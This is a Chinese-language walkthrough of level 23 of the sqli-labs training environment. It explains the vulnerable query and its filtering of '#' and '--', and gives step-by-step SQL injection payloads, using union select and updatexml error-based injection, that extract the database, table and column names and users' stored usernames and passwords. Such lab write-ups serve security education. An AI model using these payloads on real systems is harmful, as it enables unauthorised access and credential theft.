sqli-labs:Less-23关卡详细解析
1. 思路🚀
本关的SQL语句为:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
- 注入类型:字符串型(单引号包裹)、GET操作
- 提示:参数需以
'
闭合 - 关键参数:
id
php
输出语句的部分代码:
if($row)
{echo '<font color= "#0000ff">'; echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";
}
else
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";
}
本关卡还有个有意思的部分代码,实现了对#
和--
字符的过滤,并使用空格进行了替换,因此不能使用这两个注释符。不过,无伤大雅,配合报错盲注依旧可以轻松解决。
//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
2. 手工注入步骤🎯
2.1. 判断能否注入⚡
?id=1
回显信息,说明存在注入点。
2.2. 判断回显位⚡
-1' union select 1,2,3 and 1'
为什么只在第二个位置回显信息,这完全由注入的sql语句
和代码中的sql语句
决定的,大家可以调试一下。我再提供一个sql语句,使用 union select
后加 where
条件:
?id=-1' union select 1,2,3 from users where'1'='1
这样 where'1'='1'
保证查询成功,并且不会影响 union select
的返回值。
2.3. 获取基本信息⚡
1' and updatexml(1,concat(1,(select%20database())),3) and '1
为什么末尾要加 and 1'
?,我从sql语句逻辑出发,解析一下。
1. 原始SQL语句结构
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
2. 当使用1' and payload and '1
时:
SELECT * FROM users WHERE id='1' and updatexml(1,concat(1,(select database())),3) and '1' LIMIT 0,1
- 第一个单引号
'
闭合了原始查询的左引号 and
连接你的payload- 最后的
'1'
提供了右引号,保持SQL语法正确 - 整个语句语法正确,payload被执行
3. 如果尝试不使用and '1'
闭合:
SELECT * FROM users WHERE id='1' and updatexml(1,concat(1,(select database())),3) ' LIMIT 0,1
- 这里会报语法错误,因为最后多了一个孤立的单引号
'
- 数据库不知道如何处理这个引号
2.4. 获取表名⚡
1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema = 'security')),3) and '1
2.5. 获取字段⚡
1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users')),3) and '1
2.6. 获取数据⚡
修改limit x,1
中的偏移值,可以获取其他用户的账号和密码。
1' and updatexml(1,concat(1,(select concat(username, ':', password) from users limit 0,1)),3) and '1
2.7. 参数汇总表⭐
参数 | 作用 | 示例 |
---|---|---|
' | 闭合符号 | id=' |
updatexml() | 报错注入函数 | updatexml(1,(select database()),3) |
concat() | 字符串拼接函数 | concat('a','b') 或 concat(1,(select database())) |
information_schema | 系统数据库 | from information_schema.tables |
table_schema | 数据库名称 | table_schema='security' |
table_name | 数据表名称 | table_name='users' |
column_name | 字段名称 | group_concat(column_name) |
3. 总结🏁
本关卡的注入方法采用报错盲注,还是比较熟悉的。只不过#
和--
注释符无法使用,这是一个值得注意的点。
有关报错盲注的解析,关卡5最为详细,欢迎移步"sqli-labs:Less-5关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149778521?spm=1011.2124.3001.6209
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗